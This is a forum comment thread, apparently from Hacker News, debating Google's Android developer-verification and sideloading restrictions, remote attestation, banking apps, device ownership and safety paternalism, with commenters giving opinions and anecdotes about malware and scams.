1. The issue will be politicized and there'll be hardliners who refuse to wear seatbelts. There are people who are vehemently against wearing full face helmets while riding motorbikes, even though the injuries from faceplanting into the road at speed are truly ghastly. 2. Once the number of people not wearing seatbelts goes up, a whole slew of interesting negative externalities pop up (and you seem to be gleefully ignoring these): 2.a) Simple fender benders will suddenly result in severe and fatal injuries instead of scuffs and bruises. 2.b) Insurance costs increase to cover the higher likelihood of injuries. 2.c) Fewer people can afford insurance. 2.d) Society has to bear the burden of treating and supporting people who get maimed and need lifelong care.
So what is your proposal to do here? What would you do with a person who didn't wear a seatbelt and got severely brain damaged due to this? Just abandon them to die? It was their choice after all. Who should bear the burden of treating these people? Do we now have tailor made insurance for those who don't wear seatbelts? What if these people will simply opt out of insurance?
At the end of the day, a society has to make a few pragmatic tradeoffs and limit certain freedoms as the cost is just not worth it.
Yes, they will. So what? That's the price of freedom. I've never been a fan of slave morality.
> Who should bear the burden of treating these people?
You're arguing that we're all the hook if we let people do dangerous things and clean up after them when they screw up. There are two ways out of this situation, not one.
And yes, if those people have no way to pay for extreme medical treatments to save their life, they shouldn't be provided further assistance. They should bare the consequences of their decisions. Future generations will hopefully make smarter decisions as a result.
Of course it's a disingenuous framing. A certain kind of person is both attracted to power and deathly afraid of people voicing unapproved opinions "outside their kitchens".
Things can have multiple justifications, some public, some not: some conscious, some not. Central control and a feeling that a parental figure is in control of the tribe primes, at a primal level, a certain kind of person to like an idea. The specific post-hoc justification is almost incidental.
That said, such things need a semblance of legitimacy to work. It'd be much harder to crack down on general purpose computing under the guise of safety if we had cultural antibodies agains safetyism in general.
I think the phenomenon is most visible in the United Kingdom. Not just with respect to the recent age verification measures, but also with respect to the government's recent financial misadventures.
It appears to transfer the guilt of a successful deception that manufactures consent to public morality and the vulnerable. The real issue is it couldn't succeed without mendacious officials that suffer no consequences and uncritical/supportive media pushing the ball across the line.
It's also a much broader phenomenon than "protect the vulnerable". There are many other overused buttons they press to seek consent e.g. fear being the most common. Fear of terrorism, fear of job losses or tax rises, prejudice of others etc.
Lets just call it what it is and what we all want. "The right to modify". It doesn't give you the right to copy, so it will never break any law protecting intellectual property.
Without commoditized hardware, big capital will surely be in control of software.
Too much capitalism isn't our problem.
Please elaborate, with sources.
This would also make sense in order to prevent e-waste and put this old hardware to better use.
It's crazy to think how much computing power is just added to a drawer or landfill every day, just because there is no reason for the vendor to allow you to repurpose it.
I would e.g. LOVE a "Browser on everything" OS which just provides a Browser OS for outdated hardware, but the only way this could work on scale would be if the device-vendor would be mandated to provide and document the lower layer...
Same can be true for phones?
There's always a degree to which the manufacturer has to.
For the same reason I relock bootloader after flashing alternative Android flavour on my phone.
But here, no, only some bad players require a smartphone and an account to OS providers to make the bank account work.
It's not a matter of free, it's a matter of "certified": they make you use third party devices, but if anything happens they may make it your fault on the legal side. If a device is part of the banking agreement, the device must come from the bank and the responsibility must rely entirely on the bank.
> app
In all of this: how can it be remotely possible to think that in order to get a critical service - accessing your money - one could be supposed to have a contract with some remote alien party (the "App Store")? Because I am guessing your bank does not directly give you the "app". Already this makes me wonder about how the population can be blind to unbelievable levels to the systemic insanity.
Some of them do not require any smartphone - but some of them require that you make a contract with an uncontrolled firm on a different continent to have a money deposit account. And the amount of people who will go "are you mental?!" in front of them are presumably (evidently) negligible.
Even now, I don't really use a bank app for 90% of my needs.
Maybe we can make chips at the level of a 386 but they would be freedom respecting.
Starting to sound like Stallman again.
They’ll try again, with big business and governments cheering on them.
No doubt. They only have to win once. We have to keep defending our own freedoms against non-stop assault until the end of time.
I'm so tired and disillusioned.
Like, the people if they decide, they want freedom, are almost guaranteed to get it. But nobody demands it in the truest sense and it feels like the govt. isn't controlled by the people but rather almost by lobbying and that social media etc. have made people complacent in the sense that either we think that others will fight for us or that social media has become a propaganda machine.
I almost broke last night realizing that nuclear can be completely green energy but it isn't the issue of technology but rather political. To me, it felt like a lot of really quality of life changes (like water access, clean cities, good air quality index, atleast where I live) are all almost political issues at this point.
But I am not hopeful towards people, I am hopeful towards tech though. It feels like people have free will, so they might actually pick a net negative option for everybody (trump?), so I am not an optimist because I feel like I have to trust people in the process and I feel like people can do both good and bad, so I wonder how much better our lives have been compared to our ancestors. Maybe trade-offs?
I genuinely felt so weird realizing this, its hard to explain. Like it felt like I can do nothing but watch. And to me I feel like I am being a pessimistic because a lot of people in power feel stupid/inefficient man.
We just don't have a choice. WE have a choice b/w 2 parties and call it freedom.
Of course, freedom will be a constant struggle. People have made it as such. Its on all of us, we all need to take accountability. I get it, accountability is hard, but its much better than waiting for a hero to save us all. We can do it if we realize this.
This is why I struggle when discussing anything on this website - these were always political issues. Everything that touches the way society functions is a political issue. Tech is just a vehicle of political agenda. Freedom is purely political notion, this is why different traditions have different concepts of it. And to obtain it, as well as other things, you need political action. Yet, most HN users, at least that is my impression, tend to think that it is about creating yet another software project or founding startup.
And this is why corpos and government are winning.
I don't think that a startup is sufficient, but it can be an important step in the right direction. I came to my bank, showed them my Librem 5 phone and asked where I can download an app for it. It was a much clearer message than "but Android isn't free!" (which is of course true). I do the same with governmental services.
"But it's not secure!" -- yeah, that really is the point.
And then they will make it so our devices need to pass hardware remote attestation to connect to the internet and even that will be taken away from us.
I don't know what to do anymore. The future is bleak. The free computing we love is being destroyed by forces outside our control, forces that cannot be stopped no matter what we do because they have trillions of dollars and their interests are aligned with those of governments the world over.
Wait until the authorities will require strong client side authentication for social media sites, news sites, and everywhere user generated content is accepted, tied to official ID issued by the government
But at least we can build alternatives for interpersonal communication and other uses independent from big companies, like the late 90s-early 2000s Internet, and access that with free devices.
We mostly can't. The most we can do is grow new big companies.
The internet was carefully reorganized so that it's impossible to do anything without money moving around.
This needs law/regulation forcing the duopoly to open up, unfortunately even in the EU we're moving in the opposite direction.
> unfortunately even in the EU
("Save the planet".)
now. In general it certainly is; web interfaces will be phased out unless web browsers gain client attestation capabilities (at which point it's game over for the open web).
E.g. Revolut never had a web interface and is doing just fine.
I can't go to Google HQ and reinstall their locks because I think their locks are insecure, and I certainly can't declare myself the arbiter of who should be allowed to open their locks. I'd be charged and put in jail. But they can do the digital equivalent to my device and that's valid business.
I disagree. I think most people could do just fine without them. Some might need to buy a desktop computer or even visit their bank's website using a browser on their phone, but humanity got along just fine without cell phone banking apps for a very long time. Many of the old options still exist for a lot of common banking activities. Options like calling your bank on the phone, using an ATM, or going to a branch in person. If your bank really doesn't allow you to do anything with your money without a cell phone app I'd say finding a new bank is justified. Better yet, try to find a credit union.
Banking apps are convenient, but it's getting to the point where the inconvenience of being abused by the OS outweighs the convenience of a banking app which is probably collecting (and selling/exploiting) data they couldn't get from a visit to their website anyway.
when desktop browsers are considered less trustworthy to the bank than mobile apps (this is approximately now) they'll invert the functionality and limitations surface so mobile will have more authorizations than desktop browser (this is also happening now).
client attestation is a fundamental transfer of freedom from the client to the server. it's nice in theory (I too want my money safe), but at the very least it needs a third party with different incentives, not the OS, hardware and browser vendor.
The only need I have for banking apps is created by banks themselves, to verify online payments. But it would work just fine with regular text messages. I don't need a banking app at all.
(And maybe verifications aren't needed either, since in the 40+ years I have been using a credit card, never once have I been asked to verify something that I didn't initiate myself.)
It is not a good long term solution, however, because older phones do not support newer versions of the operating systems and gradually you'll notice that fewer and fewer applications work on your phone, because they require a newer operating system.
> "But it's not secure!" -- yeah, that really is the point.
Well, no.
The point isn't just to rail against impositions from someone else wanting what they see as essential for their security, but also to keep things secure and⁰ free¹ for you, the user.
Holding your devices back constrains both your security and your freedom rather than helping you in either manner. Security because you will be missing important updates in that regard, and freedom because your device won't be able to negotiate connections with external services² that you want to use³.
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[0] And where these two conflict, you should be free to chose your threat model and therefore which compromises to make, except where that could negatively affect others.
[1] The freedom of reasonable action form of free, not monetarily free etc.
[2] We hit this a short while ago with some legacy code+infra using SOCKS via OpenSSH to make unauthenticated HTTPS calls from source addresses we can't fix (authentication is done with SSH, control is by the other end having the fixed address of the SOCKS host in the whitelist) - upgrading the VM running the SOCKS proxy upgraded OpenSSH which deprecated a number of encryption and negotiation options, the old client library used didn't support enough new ones to be able to negotiate a link, newer versions required a later .Net version that is supported inside SSIS, so we had to rearrange how those calls were made (obviously the long term fix is to kill all that legacy SSIS stuff, all SSIS stuff including the people that made it, with fire). The same will happen with parts of what you use your device for, if you keep it back in the way you are suggesting.
[3] Banking facilities being a key area that you'll likely hit problems with first, after that other online commerce flows, and so forth.
As always.
> I'm so
Shake it off, because, see point 1, the struggle is the same as it has been even decades ago. Nothing has changed: we fight for it. Only the battles have changed, not the war.
Many of us are not only exhausted, but exasperated at the fact that the good majority of the consumer market continues to give permission to the very activities we are all supposed to be denying. In the end, we vote with our dollars, so we, the vocal minority can be as loud as we want but if the majority continues to buy, use and comply with the product, it's really just a lot of yelling for no reason, isn't it? That's how it feels, anyway.
I know, I know; can't start a fire without a spark. But I've been at it for two decades, since the first smartphone dropped, something I resist adopting for nearly a decade. I'm seeing my kid's generation growing up in this world, condition by it from the start despite our best efforts and they simply don't seem to care. From where I'm standing, I feel old, brittle and tired from all this, but there's nobody to pass the torch to.
So understand that when one of us comments "I'm so tired and disillusioned," we do so after years of resisting, and those words are not uttered lightly.
My great-grandfather fled France with his family during the second world war. My grandfather fought in the second world war - essentially after he got to Canada, he enlisted and headed back to fight against fascism. He eventually came back to Canada because the rest of his surviving family was here.
I get tired of fighting for privacy, and standing up for users, and pushing back against some of the most egregious abuses of tech companies, including the tech companies I work for. When I think that it's not worth fighting, or I think that I could probably get a promotion and way more money if I just suck it up and start building ad-tech or surveillance tech, I think about how disappointed my grandfather would be with my decision.
Stoicism isn't the shitty memes that folks post online re-enforcing toxic masculinity, it's getting up in the morning after taking a break from the good fight, and continuing to push back despite being tired. Understand that when you wake up in the morning, or feel the need to comment "I'm so tired and disillusioned", remember that there are many, many other people tired and disillusioned along side you or OP continuing the fight. Take a break if you need to, and come back to keep fighting.
It's just a matter of time until we lose everything. It's not really a struggle. Look at what just happened. We made sacrifices for years by using Android because it was open and Google just rendered it all moot by introducing hardware remote attestation to discriminate against anyone who's actually enjoying that openness. What's the point?
Right, it's very disheartening when the large majority of smartphone users couldn't give a damn about such matters. As I mentioned elsewhere, the problem has been made much worse by the fact that most smartphone users are addicted to electronic heroin—apps provided by Google, Facebook, et al.
There's no other way of describing the situation other than it's an unmitigated disaster. Tragically, Big Tech hit on a formula that has billions of users glued to their phones many to the point of obsession—it's absurd, nothing like this has ever happened on such a grand scale in all of human history.
When people like us try to fix the problem we're confronted on all sides—we not only have to deal with a money-rich and very hostile Big Tech and also with governments who want to only deal with it (for reasons I mentioned earlier) but also with a large percentage of the world's population who would feel threatened and annoyed at even the mere mention of changes to their phones' ecosystem.
When the enemy goes to the extent of effectively 'parasitizing' those with whom we are trying to help and protect into a zombie-like state of inaction then we've little hope of changing things for the better.
It's all very depressing.
That's the human condition. The price of liberty.
However, there are easier ways and harder ways to do it. The key concept to think about is sovereignty. What do you own? What do you control that depends on as few externalities as possible?
The big shift people are going to have to start thinking about is abandoning the network, because the enemies of freedom are increasingly locking it down.
- I own PC hardware that runs Linux. I own a copy of Linux which runs entirely offline. To the extent I get updates to it, they are licensed and distributed in such a manner that it's very hard for the bad guys to mess with them, as Microsoft does with Windows 11.
- I own copies of many media, books, music, movies, TV series, games, these reside as non-DRM'ed bits on my SSD that do not phone home, they don't need the network. I have local copies of software that does not require the network to play them. I have physical copies of these things in some cases.
This is not to say that I never use Netflix, Youtube, Spotify, Steam etc. but I keep them at arm's length and cut back on my usage of them at every opportunity. They are all network tools owned by our enemies, and need to be treated as such.
There really isn't shit they can do to me that would sting, short of cut off the electricity. In the event that the Internet purveyors of slop go Full Evil, and they probably will, I am well equipped.
Now of course the topic of sovereignty is far far bigger than consuming media, and we could get into things like desktop applications or where you interact with your friends as well. But the principles are the same. Go offline.
"Government in EU [which is a very marginal part of the production of electronic devices, wants to implement a "Digital Euro" that requires relying] all our digital infrastructure to the current duopoly in the mobile device market (Apple and Google)[, completely external yet planned crucial part of the forthcoming monetary system]."
<think> They do not sound pretty sound to me. </think>
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Edit: speak up, snipers (we are in front of a freefall and you play the fool)... I think it is rational in the discourse to show that in malice or stupidity there is a relevant upper level that shows a more radical condition.
The EU is posing towards reliance of «all our digital infrastructure to the current duopoly in the mobile device market (Apple and Google)», which is controlled by third parties.
Each country would need a locally maintained OS they can force on people
Now, maybe you’ll still be allowed to if you have a special license from the government to purchase approved hardware to run it in a datacenter. Which can be promptly revoked if you were found to be running illegal VPN software or something like that.
We should've nipped it with Apple, but there was so much _whatabout_ing that the conversation always go sidetracked with assertions about the free market and what not. It turns out, there is no free market, and we're just living in someone's managed device walled garden.
The more measures they take to secure it while allowing the user to decide whether to participate, the more drastic this opt-out user-decision becomes.
In order to now preserve that "open ecosystem", they would have to provide the user an option to disable Google Services entirely, which would turns the device almost into a separate product
All this is unlikely to happen just for the sake of "pleasing the community", I believe we need a general legally binding definition of what functions the user owns if (and when) a device is stripped of any services on top.
If my car loses functions once it loses connection to the manufacturer, this bare set should be communicated as the purchased value ("in exchange for your money"), separately from any on-top "in exchange for your data" business-model
Feeling like the optimum solution is to just have two devices. Your phone that has all of your banking, ID, etc. and another device that’s completely open, can install whatever you want on, but doesn’t matter too much if it gets hacked.
But I feel the issue is less about malware gathering your banking, ID etc, but malware holding your data hostage, using your (social) network for nefarious purposes or tricking you into something you don't want to do.
And for all those cases, having that "other" device doesn't help.
The problem here is: Who controls the means of input and output - the screen and keyboard? The trusted identity thingy sometimes needs to show the user some details, have them key in a pin number, things like that. So they know whether they're approving a $2 in-app purchase, or a 10-bitcoin transfer.
If the free and open part of the system controls the screen and keyboard, the details could be shown wrong and the pin number could be keylogged and replayed later.
If the secure-and-locked-down part of the system controls the screen and keyboard, the free and open part of the system is basically reduced to an app or website.
And if the secure-and-locked-down part of the system has its own separate screen and keyboard - it's hardly the same device.
No thanks.
My point is only that there's already a system that lets you run whatever apps you want, and to heavily customize the OS, and also make your bank happy by running a secure OS. It's just out of the box Android. You can replace all the built in apps, including the base "desktop" GUI, keyboard and browser. So this discussion revolves around an edge case: someone who wants to customize security-critical OS primitives like the kernel or compositor, AND who isn't doing this as part of a project big enough to partner with Google, AND who wants their bank to accept their changes as secure enough, AND who doesn't want to provide such institutions with some non-Google managed evidence of that, AND who doesn't want to tolerate using two devices.
There's very few use cases for that. The only one anyone can seem to muster in this thread is to prepare for a hypothetical future in which Google prevents ad blocking at the OS level, which hasn't happened in more than 15 years of Google being an ad company. So today there is a vanishingly small number of people for whom Android's existing mechanisms are insufficient, and for those people, there is dual boot - again, because the Android team planned for this and built a secure boot system that allows alternative OS installs on a phone.
What is the point of that? Then app content is the problem.
Ideally if they setup manual review then it would resolve some issues.
Google does not care if your data is leaked by an app offered by some nebulously defined verified developer that phones home without reason, or that you develop a problem with online gambling or predatory micro transactions, etc. Blows my mind that we have come this far in the fight for user rights, ownership and accountability and still the majority is going to just trust Google because they're Google. No corporation is your friend. Let the users operate the device they paid for* as they see fit, learning to accept the responsibility for for all the success and failures that come with it and we will suddenly start seeing much, much smarter users.
I think initiatives like this are a form of "marketing" to show that "hey, app stores are important because we protect the users. We shouldn't be regulated away."
And get judged for their reactions, as is proper procedure.
Why am I reading today articles that present an apocalypse without clearly specifying if there is a "way out OS flag" (allow installation of unverified APK)?
Ironically that degraded phones to be just that. Phones with build-in high quality cameras. For everything else there are better alternatives.
If a company offers some benefit at the cost of some restriction, then users should decide if that benefit is worth the cost. For most Android users, it will be - my grandma isn't interested in the freedom of indie devs to develop for her phone, she's interested in not accidentally installing malware.
I don't like that as much as you don't - for my own devices. But like anyone else who cares about that, I can root it and get past the digital nanny state.
Owner having full control over the device does not prevent a company to offer same benefits and restrictions. But these restrictions need to be optional, so the owner can decide whether to enable or disable them.
A few years ago "A smartphone so intuitive that grandma can understand it." used to literally be one of the arguments cited for picking iOS over Android. The UX is far more polished and you are far more likely to find an interesting iOS-exclusive app than an Android-exclusive.
Further, as a hardware manufacturer, Apple is far more likely to manage its walled garden in the consumer's interest, as compared to Google - an advertising company.
If Android gets locked up, all the high-end Android manufacturers, especially Samsung, are going to face a slow, but inevitable death.
That simply transfers the power to the one doing the breakup, which in most cases, are the Governments, which are notoriously known to invade user's privacy under the guise of protection of children or whatever.
Most of users are not able to keep themselves safe in the internet - they want to install all kind of crap without thinking too much.
All of this is companies making it possible that average Joe could just click links, install any kind of crap and still be somewhat secure.
Please don't push the Overton Window any further. Installing my own software on my own PC should never void the hardware vendor's warranty. That delegitimizes the core concept of a PC.
(A horrific possible dystopia just flashed through my mind: "I'd love to throw out Chrome and install Firefox so that I could block ads, but, the laptop is expensive, and I can't afford voiding the warranty". I bet Google would *love* that world. Or, a UK version: "I'd love to use a VPN, but, regulation banned them from the approved software markets, and anything else would permanently set the WARRANTY_VIOLATED flag in the TPM").
It's not always the user who's installing software. Lots of people depend on other people to manage their devices. Manufacturers like the hardware they delivered to be trusted so users trust it regardless of who handled it.
The entire Android OS has about as much access to radios than your average PC, if not less. In fact, even on recent android devices, wireless modems still tend to show up to the OS as serial devices speaking AT (hayes) (even if the underlying transport isn't, or even if the baseband is in the same chip). Getting them to transmit illegal frequencies is as much easy or hard as is getting a 4G USB adapter to do it.
That's why people can buy TX/RX SDRs and Yaesu transceivers without a license.
AFAIK the radioamateur world, serious violations of frequency plans are rare and are usually quickly handled by regulators. OTOH, everyone is slightly illegal, e.g. transmitting encrypted texts or overpowering their rigs, but that's part of the fun.
That's not relevant here. If frequencies are illegal, it should be impossible to program it in such a way. But even otherwise, it's the responsibility of the user to follow local laws. If I have a PTT phone, it's not legal for me to use forbidden frequencies just because it's possible. Why do these manufacturers care about what doesn't concern them when they violate even bigger laws all the time?
> It's not always the user who's installing software. Lots of people depend on other people to manage their devices.
That should be up to the user. Here we are talking about users who want to decide for themselves what their device does. You're talking as if giving the user that choice is the injustice. Nope. Taking away the choice is.
> Manufacturers like the hardware they delivered to be trusted so users trust it regardless of who handled it.
I see what you did here. But here is the thing. Securing a device is not antithetical to the user's freedom. That was what secure boot chain was originally supposed to accomplish until Microsoft managed to corrupt it into a tool for usurping control from the user.
Manufacturer trust is a farce. They should be deligating that trust to the user upon the sale of the device, through well proven concepts as explained above. They chose to distrust the user instead. Why? Greed!
You know there's a very fine line between hardware and software in this case so you're actually advocating for drm like control here.
> They should be deligating that trust to the user upon the sale of the device, through well proven concepts as explained above.
That same user who forgets passwords and recovery keys all the time and loses all access to documents when a device breaks? And you're presuming giving that kind of person who doesn't understand sh*t about backups, device security etc full access to their devices will not result in a lot of compromised devices?
I'm not sure manufacturers are the best party to trust but they have an interest in a secure reputation, which the majority of dumb users or eavesdropping governments do not have.
> They chose to distrust the user instead. Why? Greed!
There are more reasons to distrust the user. I don't buy greed is the only relevant one.
Absolutely not. I'm saying that the hardware shouldn't have that capability at all in the first place. But whatever. Don't restrict it. Those functionalities are usually under the control of the kernel. If the user is smart enough to tinker with the subsystems at that level, they're also smart enough to deal with the consequences of its misuse. That isn't a good justification to just lock down devices like this. The harm that comes out of that is much worse than what anyone can do with an RF baseband chip.
> That same user who forgets passwords and recovery keys all the time and loses all access to documents when a device breaks? And you're presuming giving that kind of person who doesn't understand sh*t about backups, device security etc full access to their devices will not result in a lot of compromised devices?
Yeah, so? It's not like such a person is ever going to unlock a complex safety lock. Examples for that exist already. Who can sideload an app into a fresh Android device without enabling the developer mode and then installing the APK through ADB? Dumb users won't ever persist enough to reach there. To take it further, the user can be given the root key to the secure boot chain on a piece of paper with the explicit instruction to not share it with anyone or even use it if they don't know how to. Ordinary users can then go on about their day as if it is fully locked down. It's unfair to deny the control of the device to the smart user, when such a security is possible. The existence of a dumb user is not an excuse to lock out smart users.
> but they have an interest in a secure reputation, which the majority of dumb users or eavesdropping governments do not have.
I guess you haven't seen the spyware that OEMs ship with the android devices. Even Samsung is notorious for it - especially on their smart TVs. I'm not going to talk at all about the Chinese OEMs. For that matter, it's very hard for a normal user to even uninstall facebook - an app that's known to collect information from the device that it doesn't need. Manufacturers caring for their security reputation was some 20 years ago. Only Apple does it these days, just because it's their highlight feature. But even they tried once to ship off images on the phone to iCloud without the users' permission to 'check it for csam'. The rest treat it like a portable spying device on steroids.
> There are more reasons to distrust the user. I don't buy greed is the only relevant one.
Trusting the user isn't the manufacturer's prerogative. It's supposed to be the user's property once they pay for it. You are insisting on the manufacturer retaining control even afterwards - something I and many others vehemently oppose as unfair and scummy. Now if you are worried about the security reputation, proven methods exist that allow the smart users to take full control of the device while preventing regular users from shooting their own foot. But OEMs and their apologists pretend that the problem is entirely on the user side and the only solution is to lock it down in a block of glue. And there is one good reason for this ignorance, oversight and denial - greed. Retaining control over the end device forever allows them to squeeze users for their every last penny. I will need another epic post just to enumerate the ways in which the control over the end devices allows them to do so. But I'm not going to do that because HN has entire stories and discussions on each of those topics.
Maybe this is a bit of a hot take, but I think any government that has the ability to absolutely prevent people from breaking the law is a government with far too much power. I'm all in favor of law enforcement, but at some point it starts to cross over the line from enforcement to violation of people's free will.
The people who shouldn't disable these security features tend to be the first to do so. And then complain the loudest when the enter the "find out" phase.
Warnings aren't always enough, sometimes we have to lock people down and physically prevent them from harming themselves.
It's not always people being stupid. I recall reading an article by someone who got scammed who seemed generally quite knowledgeable about the type of scam he fell for. As he put it, he was tired, distracted, and caught at the right time.
Outside of that, a lot of the general public have a base assumption of "if the device lets me do it, it's not wrong," and just ignore the warnings. We get so many stupid pop-ups, seemingly silly warning signs (peanuts "may contain nuts") that it's easy to dismiss this as just one example of the nanny state gone mad.
> We have to lock people down and physically prevent them from harming themselves.
You can apply this argument to literally anything, and taken to its logical conclusion, this is exactly what will happen.
I highlighted the word you missed, deliberately in my opinion, as it completely changes the meaning to exclude your frankly idiotic assertion.
Seriously ill people as an exceptional last resort though, right? Or just everyone?
Is your position that it would be better for his freedom for me to let him jump if I couldn’t dissuade him?
That said, I think suicide is a complicated case because some people want to be stopped, and some people will just try again the next night.
The very few I know that have had this happen where all computer users, and virtually all victims of social hacking such as "hey, I'm from IT department, sending you an email, could you please...". A friend of mine exposed sensible data of thousands of customers of her bank like this.
so somehow my friends and family got hacked, lost money but don't know about it?
actually i know of one case where my mom got billed for airbnb even tho she didn't book the ticket but pretty sure I had her password in a text file so might've been me that got hacked on my PC.
Airbnb refunded her and then had no more issues. So 1 case in my entire life and it probably wasn't on a mobile device.
All those are things normal people wont notice.
Fair enough, but besides mail spam which is filterable and DDos for which there are counter services, does it really impose that big of an issue to justify such a strict lockdown?
> mine crypto
Considering how little mining power mobile devices have and how anyone would figure out pretty fast there's a problem with heat / battery issues from it idk if that's really realistic these days. Hard to keep this one hidden while also profitable
> work files gets stolen
I think this has already been solved by corporations on PCs, there are already solutions for locking down a work issues laptop as for phone I think that's rarely an issue since people mostly use it for communications so probably rare for really sensitive info to be on there.
Overall those issues don't really hit me as that critical to impose such measures and there are ways to severely limit impact for people that care about security
I mean, check out HiddenMiner, ADB.Miner, HummingBad, WireX…
I agree that this is an overreaction, but the problem is real, and the fact you don’t know anyone who knows they’ve had a malware infection doesn’t mean that that is reality.
It's a considerable number well into the 8 figures $/year that we have to cover (Granted this number is not specifically smartphones, also includes desktops, but I know smartphones is the bigger piece nowadays.)
(insuring this is near impossible, there is always a large part risk we have to pay ourselves and cannot cede to a reinsurer)
The problem is actually Google and other big tech.
Let's consider: why are users installing so many apps?
Because, on desktop, this doesn't happen. We don't ask people to download and run an EXE to look at their friends funny cat photos. No, we open the web browser.
The reason we have so many apps on mobile is because we require the malware. Google requires the malware. We need to be able to run privileged and unsandboxed code on users devices and this is the world that Apple and Google have created.
Users shouldn't be fucking downloading apps for 90% of the stuff they do anyway - including the non malicious apps! But they do, because they have no choice.
Think about it. Provide a web interface and miss out on juicy spyware? Or install executables on your customers systems? Apps are far too enticing for big tech.
While Android is vulnerable, especially to user stupidity, people mostly get scammed by fake credit card charges or by giving access to their notifications and contacts allowing for spam.
And yes, while there are "infected" APK's for popular apps , this again isn't the case here.
The real case here is money.
Apple earns $27B from commision on apps, while Google earns about $3B. Why?
Because Android users are "less willing to pay", which includes pirated APK's and "unlocked" app versions. Eliminating the possibility of using these for 99% of the people will be enough to force them to pay for that app/service in the end, raising the Play store revenues.
Do not trust Google when it comes to "doing it for the user" - their mission is to establish as strong of a monopoly on the platforms and extract as much value as possible. They spent more money on lawyers & policy lobbyists in the last 10 years trying to keep Android closed than some S&P500 companies are worth.
I wonder if OsmAnd, Termux, F-Droid would survive this or will be casualties. Who will authenticate for a decentralized open source app that has 100 active contributors?
Basically this give Google the way to blacklist any app you release now, in or out the play store for the sake of "security".
It's just about control and finally squashing the app that aren't to Google taste.
But no doubt they are under an enormous amount of pressure to do this from a variety of corporations and governments as well.
It is extremely hard to live without the internet - it's almost impossible - everything from your bank to your doctor to restaurants to the barber that wants to be paid by Venmo. Taking away your parent's internet connection is even harder than taking away their driver license. (And also more isolating.)
There is no law enforcement; there's no consequence for scammers; there's no technology stack that is safe for the less able. It's a brutal Wild West where the weakest are attacked without recourse, flooded with misinformation and lies, and targeted by significant financial scams.
We also don't trust old people to live on their own, that doesn't mean we force every adult into dormitories.
Having a license doesn't mean you are restricted in where you can go unless we start considering the fringes like provisional (learners') permits complete with curfew. Therefore, your example doesn't fit. But OP's does, because it is equivalent to asking "do you think your refrigerator should refuse to cool items manufactured by an entity it doesn't like... to Keep You Safe(tm)?" Maybe you buy from non-verified cottage industry workers at the local farmers market. People who maybe didn't upload their PII and licenses to the refrigerator manufacturer, so it refuses to operate until you remove the offending item. Out of the utmost respect for your safety, of course.
Imagine if Charter Communications/Spectrum decided to block you from using their service and modem/routers from accessing any media created by Universal (owned by their rival, Comcast). It doesn't really have anything to do with safety, but they could pearl clutch and blame it on some risqué content that Universal releases via its imprints.
Hint: it does not. Look around the play store, it's 80% malware and scams.
Why is this the case? Because it has to be or Google goes bankrupt. Google is an inherently parasidic company. They make their money off of advertisement, scams, and conjobs. The more shit the digital world is for you, the better for them. You will always have an adversarial relationship with Google.
They don't want ads that don't lie. They don't want apps that are honest. They don't want to limit notifications. They don't want to get rid of email spam.
The reason Apple devices are so much more pleasant for everyday use and there's so much less scams and adware isn't because Apple is a saint. Its because ultimately Apple doesn't give much of a fuck if they screw over con artist, because that's not the thing keeping them from bankruptcy.
Google has chosen the path of duping their customers by selling them to the highest bidder. That's their business model across the board.
Apple has chosen to sell devices at a significant markup with the inherent agreement that they won't sell their customer to the highest bidder. After building trust in that arena for years, it wouldn't take much to destroy that credibility. So far, they know this. I'm getting concerned about them starting to plug ads into their core applications, so only time will tell if they get MBA'd to shit.
I've helped elderly family members and non-techie ones who barely know how to open a facebook account - none of them had "malware apps" installed. Their problems were mostly these:
- Websites asking for notification permission just to spam with unrelated malware or porn notifications
- Their calendars being filled with events that are nothing but links to porn or gambling sites, leading to constant notifications
- Apps that don't work yet are filled with ads - blood pressure meter on your phone, sugar level measurements, step trackers - filled with ads and trying to get 1000$ purchases
- An app actually being a launcher filling your screen with ads.
- Hell, even I, as someone who has deep intimate knowledge of Google Play Billing, got scammed by an app when upgrading from their weekly to their monthly offer, with them now charging both.
Google can intervene at any point here, they have reviewers, they control the store, they control the browser, hell, they basically control the device. And they have rules and policies for it, but it's convenient for them to ignore it. They have their cash cows and will fight tooth and nail to protect them as long as it makes them profit.
People have been giving Apple shit forever for not supporting this "web standard" in Safari, but it's 99% used nefariously for this exact purpose. Websites should not be able to send push notifications.
I do not want websites to have equal capabilities to apps. Installing an app on my device is a very purposeful decision I make that I only do if I'm trusting it and willing to manage its permissions. Visiting a website is not.
I was able to remote in and close it. Then I noticed the message saying uBlock Origin had been disabled in Chrome (because Google broke ad blocking).
Thanks Google.
Forcing users to pay for apps rather than install pirated APK's and unlocked apps both raises Google's revenue and reduces the risks of malware and scams.
The consequence is naturally, the savvy users who know how to avoid risks lose the ability to have more control over their phone.
So the only thing it kills is the risks to Google's revenue, not the risks to users' security.
And then? I don't know how many times I've downloaded APKs, including obviously malicious ones by accident. But not once has it ever been installed - not even when it was deliberate. The only way I ever 'sideloaded' anything is using 3rd party stores (just fdroid and aurora in my case), which themselves had to be installed via ADB after enabling developer mode. If you have that much skill, you're almost surely skilled enough to understand the security implications of sideloading and choose wisely.
And there are far worse malware available on play store than anything on fdroid repositories, if anything at all - anonymous or not. I hope you remember the SimpleMobileApps fiasco. People who installed it from fdroid were safe from the malicious update, but those who did it from play store were not, when the entire suite was turned into a spyware overnight. Not to mention the tea and boxscore apps scandal. Neither would have made it into fdroid. Google cares the least bit about security, if that isn't clear from the spyware tht each new android phone comes bundled with.
In all, Google's claim of security here is deceptive and farcical. The actual target is going to be the patched apps like revanced, root access software and anything else similar that allows the savvy user to escape the unfair and arbitrary limitations imposed by Google. The ultimate target is the users' pockets. This entire discussion is full of people reaffirming that conclusion. But scapegoats will be found and sacrificed regardless. Let's just not for once. Google deserves the atmost and undiluted contempt and condemnation for their greed and their willingness to erode consumer rights that underlie such dishonestly worded hostile and unilateral decisions.
So like Google?
Software that acts against the wishes of the user is malware, let's not forget that.
For fucks sake, Meta is at the point they're pulling malware tactics to sell ads.
Circumventing permissions for app to browser talking? Really? FOR ADS? Thats where we're at?
I'm over it. Anyone who thinks this has even the faintest thing to do with malware is legitimately delusional. Not misinformed, delusional.
Right now, the average Joe can't click a link and install a 3rd party app. Meanwhile, you can install malware from the actual authorised sources, or even just come across a vulnerablity in chrome.
Keeping your devices up to date with security patches will save orders of magnitude more people from malicious software than stopping 3rd party app installation.
I occasionally develop Android apps for myself (mostly out of curiosity and experimentation, but sometimes out of a need for some particular functionality). I'm not going to apply for some developer permit and verification just to do this. I may as well buy a damn iPhone.
To be fair to the security folks at Google, people will follow these steps like clockwork. The only thing they care about is getting the app on their device.
